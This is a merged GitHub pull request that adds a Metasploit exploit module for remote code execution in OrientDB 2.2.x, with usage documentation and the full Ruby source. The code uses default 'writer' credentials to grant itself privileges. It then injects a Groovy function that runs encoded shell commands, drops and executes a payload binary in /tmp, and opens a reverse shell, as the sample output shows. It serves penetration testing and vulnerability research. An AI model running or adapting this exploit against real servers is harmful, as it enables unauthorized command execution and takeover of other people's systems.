Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add OrientDB 2.2.x RCE Module #8736

Merged
merged 10 commits into from
Oct 6, 2017
44 changes: 44 additions & 0 deletions documentation/modules/exploit/multi/http/orientdb_exec.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.

All versions from 2.2.2 up to 2.2.22 should be vulnerable.

The module is based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3318

## Vulnerable Application
OrientDB 2.2.2 <= 2.2.22

## Installation
Download a vulnerable OrientDB version here: http://orientdb.com/download-previous/
`$ wget http://orientdb.com/download.php?file=orientdb-community-2.2.20.zip&os=multi`
`$ unzip orientdb-community-2.2.20.zip`
`$ chmod 755 bin/*.sh`
`$ chmod -R 777 config`
`$ cd bin`
`$ ./server.sh`

## References for running OrientDB
http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Installation.html
http://orientdb.com/docs/2.0/orientdb.wiki/Tutorial-Run-the-server.html

## References for vulnerability
https://blogs.securiteam.com/index.php/archives/3318
http://www.palada.net/index.php/2017/07/13/news-2112/
https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/multi/http/orientdb_exec`
- [ ] `set rhost <RHOST>`
- [ ] `set target <TARGET_NUMBER>`
- [ ] `set workspace <WORKSPACE>`
- [ ] `check`
- [ ] **Verify** if the OrientDB instance is vulnerable
- [ ] `run`
- [ ] **Verify** you get a session

## Example Output
`[LHOST:127.0.0.1][Workspace:default][Jobs:0][Sessions:0][/Users/vibrio] exploit(orientdb_exec) > run`
`[*] [2017.07.18-15:55:47] Started reverse TCP handler on 127.0.0.1:37331`
`[*] [2017.07.18-15:55:49] 127.0.0.1:2480 - Sending payload...`
`[*] Command shell session 1 opened (127.0.0.1:37331 -> 127.0.0.1:46594) at 2017-07-18 15:55:49 +0100`

257 changes: 257 additions & 0 deletions modules/exploits/multi/http/orientdb_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,257 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'OrientDB 2.2.x Remote Code Execution',
'Description' => %q{
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
},
'Author' =>
[
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
],
'Platform' => %w{ linux unix win },
'Privileged' => false,
'Targets' =>
[
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
],
'DisclosureDate' => 'Jul 13 2017',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(2480),
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
])
end

def check
uri = target_uri
uri.path = normalize_uri(uri.path)
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
print_good("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Vulnerable
else
print_status("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Safe
end
end

def http_send_command(cmd, opts = {})
# 1 -Create the malicious function
func_name = Rex::Text::rand_text_alpha(5).downcase
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
}
res = send_request_raw(request_parameters)
if not (res and res.code == 201)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
return
end
end
# 2 - Trigger the malicious function
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => ""
}
req = send_request_raw(request_parameters)
if not (req and req.code == 200)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
return
end
end
# 3 - Get the malicious function id
if res && res.body.length > 0
begin
json_body = JSON.parse(res.body)["@rid"]
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
return
end
end
func_id = json_body.slice(1..-1)
# 4 - Delete the malicious function
request_parameters = {
'method' => 'DELETE',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => ""
}
rer = send_request_raw(request_parameters)
if not (rer and rer.code == 204)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
return
end
end
end

def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
jcode << "String [] #{cmd_array} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
jcode
end

def on_new_session(client)
if not @to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end

def execute_command(cmd, opts = {})
vprint_status("Attempting to execute: #{cmd}")
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
http_send_command(cmd,targetdb)
end

def linux_stager
cmds = "echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("chmod +x /tmp/#{file}")
execute_command("rm /tmp/#{file}.b64")
execute_command("/tmp/#{file}")
@to_delete = "/tmp/#{file}"
end

def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
privs_enable = ['create','read','update','execute','delete']
items = ['database.class.ouser','database.function','database.systemclusters']
# Set the required DB permissions
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "GRANT #{priv} ON #{item} TO writer"
}
res = send_request_raw(request_parameters)
end
end
# Exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager(flavor: :vbs)
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
res = http_send_command("#{payload.encoded}","#{targetdb}")
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
end
handler
# Final Cleanup
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "REVOKE #{priv} ON #{item} FROM writer"
}
res = send_request_raw(request_parameters)
end
end
end
end